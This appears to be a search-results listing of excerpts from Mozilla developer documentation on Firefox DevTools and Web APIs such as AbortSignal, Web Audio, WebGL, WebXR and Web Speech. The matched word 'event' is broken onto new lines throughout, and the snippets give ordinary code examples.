eventually delete) servers and have a default server. smtp servers are stored in your preferences in a manner resembling the accounts: user_pref("mail.smtpservers", "server1,server2"); user_pref("mail.smtpserver.server1.hostname", "smtp.myisp.com"); user_pref("mail.smtpserver.server2.hostname", "smtp.mywork.com"); you can add new smtp servers using the smtp service. var server = smtpservice.cr...
...tp.mywork.com"); you can add new smtp servers using the smtp service. var server = smtpservice.createsmtpserver(); server.hostname = "smtp.myisp.com"; the default smtp server is the first server in the list in your preferences. currently, you can set the default smtp server to something else by setting the defaultserver property on the smtpservice, but that will not be saved to disk.
eventually there will be the concept of a session default server, and a permenant default server. relevant api calls: nsismtpservice.smtpservers: list of smtp servers nsismtpservice.createsmtpserver(): create a new smtp server nsismtpserver.hostname, nsismtpserver.username: useful properties of the smtp server. appendix a: listing of all properties (when brendan's idldoc comes along, i'll jus...
Debugger.Memory - Firefox Developer Tools
e if there have been more than [maxallocationsloglength][#max-alloc-log] allocations since the last time [drainallocationslog][#drain-alloc-log] was called and some data has been lost. returns false otherwise. debugger.memory handler functions similar to debugger’s handler functions, debugger.memory inherits accessor properties that store handler functions for spidermonkey to call when given
events occur in debuggee code. unlike debugger‘s hooks, debugger.memory’s handlers’ return values are not significant, and are ignored. the handler functions receive the debugger.memory’s owning debugger instance as their this value. the owning debugger’s uncaughtexceptionhandler is still fired for errors thrown in debugger.memory hooks. on a new debugger.memory instance, each of these prop...
...bugger instance as their this value. the owning debugger’s uncaughtexceptionhandler is still fired for errors thrown in debugger.memory hooks. on a new debugger.memory instance, each of these properties is initially undefined. any value assigned to a debugging handler must be either a function or undefined; otherwise a typeerror is thrown. handler functions run in the same thread in which the
event occurred. they run in the compartment to which they belong, not in a debuggee compartment. ongarbagecollection(statistics) a garbage collection cycle spanning one or more debuggees has just been completed. the statistics parameter is an object containing information about the gc cycle. it has the following properties: collections the collections property’s value is an array. b...
......
Index - Firefox Developer Tools
debugger.object.prototype.defineproperty, ensuring that the debugger will not inadvertently invoke the referent's getters and setters. 28 deprecated tools deprecated, tools over the course of devtools development, we have added several experimental panels to try out new ideas. not all of these have had wide adoption, and due to the cost of maintenance, seldom used panels are
eventually removed. 29 devtools api devtools the devtools api provides a way to register and access developer tools in firefox. 30 devtoolscolors css this chart lists colors and css variables as implemented in the dark theme and light theme for developer tools. 31 eyedropper firefox, tools, web development:tools the eyedropper tool enables ...
... fonts fonts, guide, inspector, tools, variable fonts this article provides a tour of the font tools available in the firefox devtools. this tool contains several useful features for viewing and manipulating fonts applied to any document loaded in the browser including inspection of all fonts applied to the page, and precise adjustment of variable font axis values. 61 examine
event listeners guide, inspector, tools the inspector shows the word "
event" next to elements in the html pane, that have
event listeners bound to them: 62 examine and edit css guide, inspector, tools you can examine and edit css in the inspector's css pane. 63 examine and edit html debugging, firefox, guide, inspector, mozilla, tools you can examine ...
... panel instead of pausing code execution. 135 set an xhr breakpoint debugger, debugging, javascript, xhr breakpoint an xhr (xmlhttprequest) breakpoint breaks code execution when an xhr request is dispatched so that you can examine the current state of the program. you can break on all requests or on those that include a specific url. to turn on the feature: 136 set
event listener breakpoints debugger, dev tools,
event debugging,
event handler,
event listener, javascript debugging, tools, breakpoint,
events starting with firefox 69, debugging an application that includes
event handlers is simplified because the debugger now includes the ability to automatically break when the code hits an
event handler. this article explains how to use it. 137 ...
Frame rate - Firefox Developer Tools
the frame rate graph in the performance tool shows you the frame rate over the course of a recording. ...
...cceptable frame rate, scrolling the page will appear sluggish or will occasionally freeze. in general, a high and consistent frame rate will make the user's interaction with the site more enjoyable and engaging. a frame rate of 60fps is reckoned to be the target for smooth performance, giving you a time budget of 16.7ms for all the updates that need to be made synchronously in response to some
event. however, consistency is especially important: if you can't deliver 60fps, it's better to deliver lower frame rates more consistently, and avoid sudden dips in the frame rate which cause the site to freeze. frame rate graph the frame rate graph is found in the recording overview part of the performance tool. it takes a timestamp when the browser finishes a frame, and uses this to keep track o...
...with the waterfall summary directly above it, and there we can see that the first two drops in the frame rate are correlated with orange bars, which denote time spent executing javascript. if we select one of these slices of the recording, the main waterfall view underneath it is zoomed into it, and we can see the function that's causing the problem: we have a javascript function from a click
event that's blocking the main thread for 170 milliseconds. which function, though? switch to the flame chart to see the call stack at that point: the offending function is called dopointlesscomputations(), and it's defined in "main.js". to fix it, we might consider splitting it into pieces and running the pieces inside requestanimationframe, or even running the entire function in a worker. the int...
Intensive JavaScript - Firefox Developer Tools
the main thread code would look something like this: const iterations = 50; const multiplier = 1000000000; var worker = new worker("js/calculate.js"); function dopointlesscomputationsinworker() { function handleworkercompletion(message) { if (message.data.command == "done") { pointlesscomputationsbutton.disabled = false; console.log(message.data.primes); worker.remove
eventlistener("message", handleworkercompletion); } } worker.add
eventlistener("message", handleworkercompletion, false); worker.postmessage({ "multiplier": multiplier, "iterations": iterations }); } the main difference here, compared with the original, is that we need to: create a worker send it a message when we are ready to calculate listen for a message called "done", whi...
... false); worker.postmessage({ "multiplier": multiplier, "iterations": iterations }); } the main difference here, compared with the original, is that we need to: create a worker send it a message when we are ready to calculate listen for a message called "done", which indicates that the worker has finished. ...
...ame as the original code. so how does this version perform? switch the radio button to "use a worker", and capture a new profile. you should see something like this: in this profile we pushed the button three times. compared with the original, each button-press is visible in the overview as two very short orange markers: the dopointlesscomputationsinworker() function that handles the click
event and starts the worker's processing the handleworkercompletion() function that runs when the worker calls "done". in between, the worker runs all the primality tests, and it doesn't seem to have any effect at all on the responsiveness of the main thread. this might seem unlikely, but because workers run in a separate thread, they can take advantage of multi-core processors, which a single-threa...
Responsive Design Mode - Firefox Developer Tools
creenshot will be copied to the system clipboard. dpr (pixel ratio) - beginning with firefox 68, the dpr is no longer editable; create a custom device in order to change the dpr throttling - a drop-down list where you can select the connection throttling to apply, for example 2g, 3g, or lte enable/disable touch simulation - toggles whether or not responsive design mode simulates touch
events. while touch
event simulation is enabled, mouse
events are translated into touch
events; this includes (starting in firefox 79) translating a mouse-drag
event into a touch-drag
event. (note that when touch simulation is enabled, this toolbar icon is blue; when simulation is disabled, it is black. on the right end of the screen, three buttons allow you to: camera button - take a screenshot ...
...s toggled: when this option is enabled, the page is reloaded whenever you toggle touch support. reload when user agent is changed: when this option is enabled, the page isreloaded whenever the user agent is changed. reloading on these changes can be helpful because certain page behaviors would otherwise not be applied. for example, many pages check for touch support on load and only add
event handlers if it is supported, or only enable certain features on certain browsers. however, if you are not interested in examining such features (maybe you are just checking the overall layout at different sizes), these reloads can waste time and possibly result in the loss of productive work, so it is useful to be able to control these reloads. now when you change such settings for the first ti...
...ue browsing as you normally would in the resized content area. device selection just above the viewport there is a label "no device selected"; click this to see a list of device names. select a device, and responsive design mode sets the following properties to match the selected device: screen size device pixel ratio (the ratio of device physical pixels to device-independent pixels) touch
event simulation additionally, firefox sets the user-agent http request header to identify itself as the default browser on the selected device. for example, if you've selected an iphone, then firefox identifies itself as safari. the navigator.useragent property is set to the same value. the devices listed in the drop-down are just a subset of the devices that can be selected. at the end of the dr...
AbortSignal - Web APIs
the abortsignal interface represents a signal object that allows you to communicate with a dom request (such as a fetch) and abort it if required via an abortcontroller object. properties the abortsignal interface also inherits properties from its parent interface,
eventtarget. abortsignal.aborted read only a boolean that indicates whether the request(s) the signal is communicating with is/are aborted (true) or not (false). ...
...a signal object that allows you to communicate with a dom request (such as a fetch) and abort it if required via an abortcontroller object. properties the abortsignal interface also inherits properties from its parent interface,
eventtarget. abortsignal.aborted read only a boolean that indicates whether the request(s) the signal is communicating with is/are aborted (true) or not (false).
events listen to this
event using add
eventlistener() or by assigning an
event listener to the on
eventname property of this interface. abort invoked when the dom request(s) the signal is communicating with is/are aborted. also available via the onabort property. methods the abortsignal interface inherits methods from its parent interface,
eventtarget. examples in the following snippet, we aim...
...ctor, then grab a reference to its associated abortsignal object using the abortcontroller.signal property. when the fetch request is initiated, we pass in the abortsignal as an option inside the request's options object (see {signal}, below). this associates the signal and controller with the fetch request and allows us to abort it by calling abortcontroller.abort(), as seen below in the second
event listener. var controller = new abortcontroller(); var signal = controller.signal; var downloadbtn = document.queryselector('.download'); var abortbtn = document.queryselector('.abort'); downloadbtn.add
eventlistener('click', fetchvideo); abortbtn.add
eventlistener('click', function() { controller.abort(); console.log('download aborted'); }); function fetchvideo() { ... fetch(url, {sign...
AbsoluteOrientationSensor - Web APIs
e your code is inconsistent with the policies set on your server. this is not something that would ever be shown to a user. see feature-policy for implementation instructions. constructor absoluteorientationsensor.absoluteorientationsensor() creates a new absoluteorientationsensor object. properties no specific properties; inherits methods from its ancestors orientationsensor and sensor.
event handlers no specific
event handlers; inherits methods from its ancestor, sensor. methods no specific methods; inherits methods from its ancestors orientationsensor and sensor. examples basic example the following example, which is loosely based on intel's orientation phone demo, instantiates an absoluteorientationsensor with a frequency of 60 times a second. on each reading it uses orient...
...s basic example the following example, which is loosely based on intel's orientation phone demo, instantiates an absoluteorientationsensor with a frequency of 60 times a second. on each reading it uses orientationsensor.quaternion to rotate a visual model of a phone. ...
...60 times a second. on each reading it uses orientationsensor.quaternion to rotate a visual model of a phone. const options = { frequency: 60, referenceframe: 'device' }; const sensor = new absoluteorientationsensor(options); sensor.add
eventlistener('reading', () => { // model is a three.js object instantiated elsewhere. model.quaternion.fromarray(sensor.quaternion).inverse(); }); sensor.add
eventlistener('error', error => { if (
event.error.name == 'notreadableerror') { console.log("sensor is not available."); } }); sensor.start(); permissions example using orientation sensors requires requesting permissions for multiple device sensors. because the permissions uses promises, a good way to request permissions is to use promise.all. const sensor = new absoluteorientationsensor(); ...
Attr - Web APIs
nt.getattributenode()) or means of iterating return attr types. ...
... position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/node" target="_top"><rect x="151" y="1" width="75" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="188.5" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4...
...you should revise your code accordingly. see deprecated properties and methods for a complete list. properties name read only the attribute's name. namespaceuri read only a domstring representing the namespace ...
AudioContext - Web APIs
t for several different audio source and pipeline concurrently. ...
... position: absolute; top: 0; left: 0;" viewbox="-50 0 600 70" preserveaspectratio="xminymin meet"><a xlink:href="/docs/web/api/
eventtarget" target="_top"><rect x="1" y="1" width="110" height="50" fill="#fff" stroke="#d4dde4" stroke-width="2px" /><text x="56" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" fill="#4d4e53" text-anchor="middle" alignment-baseline="middle">
eventtarget</text></a><polyline points="111,25 121,20 121,30 111,25" stroke="#d4dde4" fill="none"/><line x1="121" y1="25" x2="151" y2="25" stroke="#d4dde4"/><a xlink:href="/docs/web/api/audiocontext" target="_top"><rect x="151" y="1" width="120" height="50" fill="#f4f7f8" stroke="#d4dde4" stroke-width="2px" /><text x="211" y="30" font-size="12px" font-family="consolas,monaco,andale mono,monospace" ...
... properties also inherits properties from its parent interface, baseaudiocontext. audiocontext.baselatency read only returns the number of seconds of processing latency incurred by the audiocontext passing the audio from the audiodestinationnode to the audio subsystem. audiocontext.outputlatency ...
AudioParam - Web APIs
audio parameter value for each sample frame of the audio signal. a k-rate audioparam uses the same initial audio parameter value for the whole block processed, that is 128 sample frames. in other words, the same value applies to every frame in the audio as it's processed by the node. each audionode defines which of its parameters are a-rate or k-rate in the spec. each audioparam has a list of
events, initially empty, that define when and how values change. when this list is not empty, changes using the audioparam.value attributes are ignored. this list of
events allows us to schedule changes that have to happen at very precise times, using arbitrary timelime-based automation curves. the time used is the one defined in audiocontext.currenttime. properties audioparam.defaultvalue read onl...
...e value of defaultvalue. methods audioparam.setvalueattime() schedules an instant change to the value of the audioparam at a precise time, as measured against audiocontext.currenttime. the new value is given by the value parameter. audioparam.linearramptovalueattime() schedules a gradual linear change in the value of the audioparam. ...
... audioparam.settargetattime() schedules the start of a change to the value of the audioparam. ...
AudioScheduledSourceNode.onended - Web APIs
the onended
event handler for the audioscheduledsourcenode interface specifies an
eventhandler to be executed when the ended
event occurs on the node. this
event is sent to the node when the concrete interface (such as audiobuffersourcenode, oscillatornode, or constantsourcenode) determines that it has stopped playing. the ended
event is only sent to a node configured to loop automatically when the node is stopped using its stop() method. this is the case, for example, when using an audiobuffersourcenode with its loop property set to true. syntax audioscheduledsourcenode.onended =
eventhandler; value a function which is called by the browser when the ended
event occurs on the audioscheduledsourcenode. ...
...en the node is stopped using its stop() method. this is the case, for example, when using an audiobuffersourcenode with its loop property set to true. syntax audioscheduledsourcenode.onended =
eventhandler; value a function which is called by the browser when the ended
event occurs on the audioscheduledsourcenode. the function receives as input a single parameter, which is an object of type
event describing the
event that occurred. examples in this simple example, an
event listener for the ended
event is set up to enable a "start" button in the user interface when the node stops playing. ...
...n which is called by the browser when the ended
event occurs on the audioscheduledsourcenode. the function receives as input a single parameter, which is an object of type
event describing the
event that occurred. examples in this simple example, an
event listener for the ended
event is set up to enable a "start" button in the user interface when the node stops playing. node.onended = function(
event) { document.getelementbyid("startbutton").disabled = false; } specifications specification status comment web audio apithe definition of 'onended' in that specification. working draft initial specification. ...
AudioTrackList.onchange - Web APIs
the audiotracklist property onchange is an
event handler which is called when the change
event occurs, indicating that one or more of the audiotracks in the audiotracklist have been enabled or disabled. the
event is passed into the
event handler in the form of an
event object; the
event doesn't provide any additional information. to determine the new state of media's tracks, you'll have to look at their audiotrack.enabled flags. note: you can also add a handler for the change
event using add
eventlistener(). syntax audiotracklist.onchange =
eventhandler; value set onchange to a function that should be called whenever tracks are enabled or disabled on the media element. ...
... the new state of media's tracks, you'll have to look at their audiotrack.enabled flags. note: you can also add a handler for the change
event using add
eventlistener(). syntax audiotracklist.onchange =
eventhandler; value set onchange to a function that should be called whenever tracks are enabled or disabled on the media element. example this snippet establishes a handler for the change
event that looks at each of the tracks in the list, calling a function to update the state of a user interface control that indicates the current state of the track. ...
...t should be called whenever tracks are enabled or disabled on the media element. example this snippet establishes a handler for the change
event that looks at each of the tracks in the list, calling a function to update the state of a user interface control that indicates the current state of the track. var tracklist = document.queryselector("video").audiotracks; tracklist.onchange = function(
event) { tracklist.foreach(function(track) { updatetrackenabledbutton(track.id, track.enabled); }); }; the updatetrackenabledbutton(), in this example, should be a function that finds a user interface control using the track's id (perhaps the app uses the track id as the control element's id) and the track's enabled flag to determine which state the control should be in now. specifications ...
BaseAudioContext.createScriptProcessor() - Web APIs
uffer size in units of sample-frames. if specified, the buffersize must be one of the following values: 256, 512, 1024, 2048, 4096, 8192, 16384. if it's not passed in, or if the value is 0, then the implementation will choose the best buffer size for the given environment, which will be a constant power of 2 throughout the lifetime of the node. this value controls how frequently the audioprocess
event is dispatched and how many sample-frames need to be processed each call. lower values for buffersize will result in a lower (better) latency. higher values will be necessary to avoid audio breakup and glitches. it is recommended for authors to not specify this buffer size and allow the implementation to pick a good buffer size to balance between latency and audio quality. numberofinputchannels ...
...tprocessornode. example the following example shows basic usage of a scriptprocessornode to take a track loaded via audiocontext.decodeaudiodata(), process it, adding a bit of white noise to each audio sample of the input track (buffer) and play it through the audiodestinationnode. for each channel and each sample frame, the scriptnode.onaudioprocess function takes the associated audioprocessing
event and uses it to loop through each channel of the input buffer, and each sample in each channel, and add a small amount of white noise, before setting that result to be the output sample in each case. note: for a full working example, see our script-processor-node github repo (also view the source code.) var myscript = document.queryselector('script'); var mypre = document.queryselector('pre');...
...equest.open('get', 'viper.ogg', true); request.responsetype = 'arraybuffer'; request.onload = function() { var audiodata = request.response; audioctx.decodeaudiodata(audiodata, function(buffer) { mybuffer = buffer; source.buffer = mybuffer; }, function(e){"error with decoding audio data" + e.err}); } request.send(); } // give the node a function to process audio
events scriptnode.onaudioprocess = function(audioprocessing
event) { // the input buffer is the song we loaded earlier var inputbuffer = audioprocessing
event.inputbuffer; // the output buffer contains the samples that will be modified and played var outputbuffer = audioprocessing
event.outputbuffer; // loop through the output channels (in this case there is only one) for (var channel = 0; c...
TouchList.length - Web APIs
the length read-only property indicates the number of items (touch points) in a given touchlist. syntax var numtouches = touchlist.length; return value numtouches the number of touch points in touchlist. example this code example illustrates the use of the touchlist interface's item method and the length property. ...
...of items (touch points) in a given touchlist. syntax var numtouches = touchlist.length; return value numtouches the number of touch points in touchlist. example this code example illustrates the use of the touchlist interface's item method and the length property. ...
...{ // if this touchstart
event started on element target, // set touch to the first item in the targettouches list; // otherwise set touch to the first item in the touches list var touch; if (ev.targettouches.length >= 1) touch = ev.targettouches.item(0); else touch = ev.touches.item(0); }, false); specifications specification status comment touch
events – level 2 draft non-stable version. touch
events recommendation initial definition. ...
VideoTrackList.onchange - Web APIs
the videotracklist property onchange is an
event handler which is called when the change
event occurs, indicating that a videotrack in the videotracklist has been made active. the
event is passed into the
event handler in the form of an
event object; the
event doesn't provide any additional information. to determine the new state of media's tracks, you'll have to look at their videotrack.selected flags. note: you can also add a handler for the change
event using add
eventlistener(). syntax videotracklist.onchange =
eventhandler; value set onchange to a function that should be called whenever a track is made active. ...
...al information. to determine the new state of media's tracks, you'll have to look at their videotrack.selected flags. note: you can also add a handler for the change
event using add
eventlistener(). syntax videotracklist.onchange =
eventhandler; value set onchange to a function that should be called whenever a track is made active. example this snippet establishes a handler for the change
event that looks at each of the tracks in the list, calling a function to update the state of a user interface control that indicates the current state of the track. ...
...et onchange to a function that should be called whenever a track is made active. example this snippet establishes a handler for the change
event that looks at each of the tracks in the list, calling a function to update the state of a user interface control that indicates the current state of the track. var tracklist = document.queryselector("video").videotracks; tracklist.onchange = function(
event) { tracklist.foreach(function(track) { updatetrackselectedbutton(track.id, track.selected); }); }; the updatetrackselectedbutton(), in this example, should be a function that finds a user interface control using the track's id (perhaps the app uses the track id as the control element's id) and the track's selected flag to determine which state the control should be in now. specificatio...
Hello vertex attributes - Web APIs
vertex" id="vertex-shader"> #version 100 precision highp float; attribute float position; void main() { gl_position = vec4(position, 0.0, 0.0, 1.0); gl_pointsize = 64.0; } </script> <script type="x-shader/x-fragment" id="fragment-shader"> #version 100 precision mediump float; void main() { gl_fragcolor = vec4(0.18, 0.54, 0.34, 1.0); } </script> ;(function(){ "use strict" window.add
eventlistener("load", setupwebgl, false); var gl, program; function setupwebgl (evt) { window.remove
eventlistener(evt.type, setupwebgl, false); if (!(gl = getrenderingcontext())) return; var source = document.queryselector("#vertex-shader").innerhtml; var vertexshader = gl.createshader(gl.vertex_shader); gl.shadersource(vertexshader,source); gl.compileshader(vertexshader); source =...
...; if (!gl.getprogramparameter(program, gl.link_status)) { var linkerrlog = gl.getprograminfolog(program); cleanup(); document.queryselector("p").innerhtml = "shader program did not link successfully. ...
...t32array([clickxinwebglcoords]), gl.static_draw); gl.drawarrays(gl.points, 0, 1); }, false); } var buffer; function initializeattributes() { gl.enablevertexattribarray(0); buffer = gl.createbuffer(); gl.bindbuffer(gl.array_buffer, buffer); gl.bufferdata(gl.array_buffer, new float32array([0.0]), gl.static_draw); gl.vertexattribpointer(0, 1, gl.float, false, 0, 0); } window.add
eventlistener("beforeunload", cleanup, true); function cleanup() { gl.useprogram(null); if (buffer) gl.deletebuffer(buffer); if (program) gl.deleteprogram(program); } function getrenderingcontext() { var canvas = document.queryselector("canvas"); canvas.width = canvas.clientwidth; canvas.height = canvas.clientheight; var gl = canvas.getcontext("webgl") || canvas.getcontext(...
Raining rectangles - Web APIs
0</strong>.</p> <canvas>your browser does not seem to support html5 canvas.</canvas> body { text-align : center; } canvas { display : block; width : 280px; height : 210px; margin : auto; padding : 0; border : none; background-color : black; } button { display : block; font-size : inherit; margin : auto; padding : 0.6em; } ;(function(){ "use strict" window.add
eventlistener("load", setupanimation, false); var gl, timer, rainingrect, scoredisplay, missesdisplay; function setupanimation (evt) { window.remove
eventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) return; gl.enable(gl.scissor_test); rainingrect = new rectangle(); timer = settimeout(drawanimation, 17); document.queryselector("canvas") .add...
...listener("load", setupanimation, false); var gl, timer, rainingrect, scoredisplay, missesdisplay; function setupanimation (evt) { window.remove
eventlistener(evt.type, setupanimation, false); if (!(gl = getrenderingcontext())) return; gl.enable(gl.scissor_test); rainingrect = new rectangle(); timer = settimeout(drawanimation, 17); document.queryselector("canvas") .add
eventlistener("click", playerclick, false); var displays = document.queryselectorall("strong"); scoredisplay = displays[0]; missesdisplay = displays[1]; } var score = 0, misses = 0; function drawanimation () { gl.scissor(rainingrect.position[0], rainingrect.position[1], rainingrect.size[0] , rainingrect.size[1]); gl.clear(gl.color_buffer_bit); rainingrect.position[1] -= rainingrect...
...ingrect.position[1] < 0) { misses += 1; missesdisplay.innerhtml = misses; rainingrect = new rectangle(); } // we are using settimeout for animation. so we reschedule // the timeout to call drawanimation again in 17ms. // otherwise we won't get any animation. timer = settimeout(drawanimation, 17); } function playerclick (evt) { // we need to transform the position of the click
event from // window coordinates to relative position inside the canvas. // in addition we need to remember that vertical position in // webgl increases from bottom to top, unlike in the browser // window. var position = [ evt.pagex - evt.target.offsetleft, gl.drawingbufferheight - (evt.pagey - evt.target.offsettop), ]; // if the click falls inside the rectangle, we caught it.
Animating textures in WebGL - Web APIs
deo the first step is to create the <video> element that we'll use to retrieve the video frames: // will set to true when video can be copied to texture var copyvideo = false; function setupvideo(url) { const video = document.createelement('video'); var playing = false; var timeupdate = false; video.autoplay = true; video.muted = true; video.loop = true; // waiting for these 2
events ensures // there is data in the video video.add
eventlistener('playing', function() { playing = true; checkready(); }, true); video.add
eventlistener('timeupdate', function() { timeupdate = true; checkready(); }, true); video.src = url; video.play(); function checkready() { if (playing && timeupdate) { copyvideo = true; } } return video; }...
... checkready(); }, true); video.add
eventlistener('timeupdate', function() { timeupdate = true; checkready(); }, true); video.src = url; video.play(); function checkready() { if (playing && timeupdate) { copyvideo = true; } } return video; } first we create a video element. we set it to autoplay, mute the sound, and loop the video. we then set up two
events to make sure the video is playing and the time has been updated. we need both of these checks because it will produce an error if you upload a video to webgl that has no data available yet. checking for both of these
events guarantees there is data available and it's safe to start uploading video to a webgl texture. ...
... and finally, we set the src attribute to start and call play to start loading and playing the video. the video must be loaded from a secure source in order to be used to provide texture data to webgl. ...
WebSocket.onclose - Web APIs
specifications specification status comment html living standardthe definition of 'websocket: onclose' in that specification. ...
... specifications specification status comment html living standardthe definition of 'websocket: onclose' in that specification. ...
... specifications specification status comment html living standardthe definition of 'websocket: onclose' in that specification. ...
WebXR permissions and security - Web APIs
tivate the immersive-vr mode are rejected if the domain issuing the request does not have permission to enable an immersive session. this permission comes from the xr-spatial-tracking feature policy. once that check is passed, the request to enter immersive-vr mode is allowed if all of the following are true: the requestsession() call was issued by code executing within the handler for a user
event, or the from the startup code for a user-launched web application. the document is considered trustworthy, in that it is responsible and is both currently active and has focus. the user's intent to enter immersive vr mode is well understood; see user intent below for details. if all of that is true, the promise returned by requestsession() is resolved, and the new xrsession object is passed i...
...e mode. inline presentation when you request an xrsession with the mode set to inline, and any features are required or requested, the browser will only allow the session to be created if the call to requestsession() was made by code which is executing expressly due to user intent. specifically: if the requestsession() call isn't coming from within the handler executed in response to a user
event, and is not being issued while launching a web application, the request is denied and false is delivered to the promise's fulfillment handler. if the document making the request isn't the one which is responsible for the script, the request is denied. if the document making the request isn't trustworthy, the request is denied and false is returned through the promise's fulfillment routine. a tr...
... and expressly been asked for permission to perform an action. implicit user intent (implicit user consent) is assumed if either of the following scenarios is the case: the user has interacted with the document in some way which has in turn caused your request to occur. for example, if you have an "enter xr mode" button, and the user clicks it, calling requestsession() from the button's click
event handler will permitted. if your code is executing during the launch of a web application, the runtime may consider the act of launching your web application to qualify as user intent. ...
Migrating from webkitAudioContext - Web APIs
t passed to start() to know whether playback has started or not. if you need to compare this attribute to playing_state, you can compare the value of audiocontext.currenttime to the first argument passed to start() to know whether playback has started or not. ...
...ost significant use case of playbackstate), there is a new ended
event which you can use to know when playback is finished. please see this code example: // old webkitaudiocontext code: var src = context.createbuffersource(); // some time later... var isfinished = (src.playbackstate == src.finished_state); // new audiocontext code: var src = context.createbuffersource(); function endedhandler(
event) { isfinished = true; } var isfinished = false; src.onended = endedhandler; the exact same changes have been applied to both audiobuffersourcenode and oscillatornode, so you can apply the same techniques to both kinds of nodes. removal of audiocontext.activesourcecount the activesourcecount attribute has been removed from audiocontext. if you need to count the number of playing source node...
...rc.onended = endedhandler; the exact same changes have been applied to both audiobuffersourcenode and oscillatornode, so you can apply the same techniques to both kinds of nodes. removal of audiocontext.activesourcecount the activesourcecount attribute has been removed from audiocontext. if you need to count the number of playing source nodes, you can maintain the count by handling the ended
event on the source nodes, as shown above. code using the activesourcecount attribute of the audiocontext, like this snippet: var src0 = context.createbuffersource(); var src1 = context.createbuffersource(); // set buffers and other parameters... src0.start(0); src1.start(0); // some time later... console.log(context.activesourcecount); could be rewritten like that: // array to tra...
Web audio spatialization basics - Web APIs
nner.orientationz.value*math.cos(q) - panner.orientationy.value*math.sin(q); y = panner.orientationz.value*math.sin(q) + panner.orientationy.value*math.cos(q); x = panner.orientationx.value; panner.orientationx.value = x; panner.orientationy.value = y; panner.orientationz.value = z; break; one last thing — we need to update the css and keep a reference of the last move for the mouse
event. here's the final moveboombox function. function moveboombox(direction, prevmove) { switch (direction) { case 'left': if (transform.xaxis > leftbound) { transform.xaxis -= 5; panner.positionx.value -= 0.1; } break; case 'up': if (transform.yaxis > topbound) { transform.yaxis -= 5; ...
...atex('+transform.xaxis+'px) translatey('+transform.yaxis+'px) scale('+transform.zaxis+') rotatey('+transform.rotatey+'deg) rotatex('+transform.rotatex+'deg)'; const move = prevmove || {}; move.frameid = requestanimationframe(() => moveboombox(direction, move)); return move; } wiring up our controls wiring up out control buttons is comparatively simple — now we can listen for a mouse
event on our controls and run this function, as well as stop it when the mouse is released: // for each of our controls, move the boombox and change the position values movecontrols.foreach(function(el) { let moving; el.add
eventlistener('mousedown', function() { let direction = this.dataset.control; if (moving && moving.frameid) { window.cancelanimationframe(movin...
...the values can be hard to manipulate sometimes and depending o...
Web Speech API - Web APIs
e voice data. there are two components to this api: speech recognition is accessed via the speechrecognition interface, which provides the ability to recognize voice context from an audio input (normally via the device's default speech recognition service) and respond appropriately. generally you'll use the interface's constructor to create a new speechrecognition object, which has a number of
event handlers available for detecting when speech is input through the device's microphone. the speechgrammar interface represents a container for a particular set of grammar that your app should recognise. grammar is defined using jspeech grammar format (jsgf.) speech synthesis is accessed via the speechsynthesis interface, a text-to-speech component that allows programs to read out their text conte...
...ext that you want to be spoken are represented by speechsynthesisutterance objects. you can get these spoken by passing them to the speechsynthesis.speak() method. for more details on using these features, see using the web speech api. web speech api interfaces speech recognition speechrecognition the controller interface for the recognition service; this also handles the speechrecognition
event sent from the recognition service. speechrecognitionalternative represents a single word that has been recognised by the speech recognition service. speechrecognitionerror represents error messages from the recognition service. speechrecognition
event the
event object for the result and nomatch
events, and contains all the data associated with an interim or final speech recognition result. ...
...echrecognitionresultlist represents a list of speechrecognitionresult objects, or a single one if results are being captured in continuous mode. speech synthesis speechsynthesis the controller interface for the speech service; this can be used to retrieve information about the synthesis voices available on the device, start and pause speech, and other commands besides. speechsynthesiserror
event contains information about any errors that occur while processing speechsynthesisutterance objects in the speech service. speechsynthesis
event contains information about the current state of speechsynthesisutterance objects that have been processed in the speech service. speechsynthesisutterance represents a speech request. it contains the content the speech service should read and informati...
Window.ondragdrop - Web APIs
feature is non-standard and is not on a standards track. do not use it on production sites facing the web: it will not work for every user. there may also be large incompatibilities between implementations and the behavior may change in the future. removed in firefox 50, and never implemented in any other browser. use the modern standard html5 drag and drop feature instead. summary an
event handler for drag and drop
events sent to the window. syntax window.ondragdrop = funcref; window.add
eventlistener("dragdrop", funcref, usecapturing); funcref the
event handler function to be registered. the window.ondragdrop property and the ondragdrop attribute are not implemented in gecko (bug 112288), you have to use add
eventlistener. see add
eventlistener for details. example fire a...
... the window. syntax window.ondragdrop = funcref; window.add
eventlistener("dragdrop", funcref, usecapturing); funcref the
event handler function to be registered. the window.ondragdrop property and the ondragdrop attribute are not implemented in gecko (bug 112288), you have to use add
eventlistener. see add
eventlistener for details. example fire an alert on dragdrop in this example, an
event listener is added to the window (the
event target). if, from an external source, a tab, a link, marked text or a file is dragged and dropped onto this window, the alert is fired. note how
event.stoppropagation(); pr
events the browser from loading the dropped tab, link or file. ...
...dragdrop in this example, an
event listener is added to the window (the
event target). if, from an external source, a tab, a link, marked text or a file is dragged and dropped onto this window, the alert is fired. note how
event.stoppropagation(); pr
events the browser from loading the dropped tab, link or file. <html> <head><title>dragdroptest</title> <script type="text/javascript"> window.add
eventlistener("dragdrop", testfunc, false); function testfunc(
event) { alert("dragdrop!");
event.stoppropagation(); } </script> </head> <body> i am bodytext </body> </html> specification not part of specification. ...
WindowOrWorkerGlobalScope.caches - Web APIs
urns the cachestorage object associated with the current context. this object enables functionality such as storing assets for offline use, and generating custom responses to requests. syntax var mycachestorage = self.caches; // or just caches value a cachestorage object. example the following example shows how you'd use a cache in a service worker context to store assets offline. ...
...iated with the current context. this object enables functionality such as storing assets for offline use, and generating custom responses to requests. syntax var mycachestorage = self.caches; // or just caches value a cachestorage object. example the following example shows how you'd use a cache in a service worker context to store assets offline. ...
...the current context. this object enables functionality such as storing assets for offline use, and generating custom responses to requests. syntax var mycachestorage = self.caches; // or just caches value a cachestorage object. example the following example shows how you'd use a cache in a service worker context to store assets offline. ...
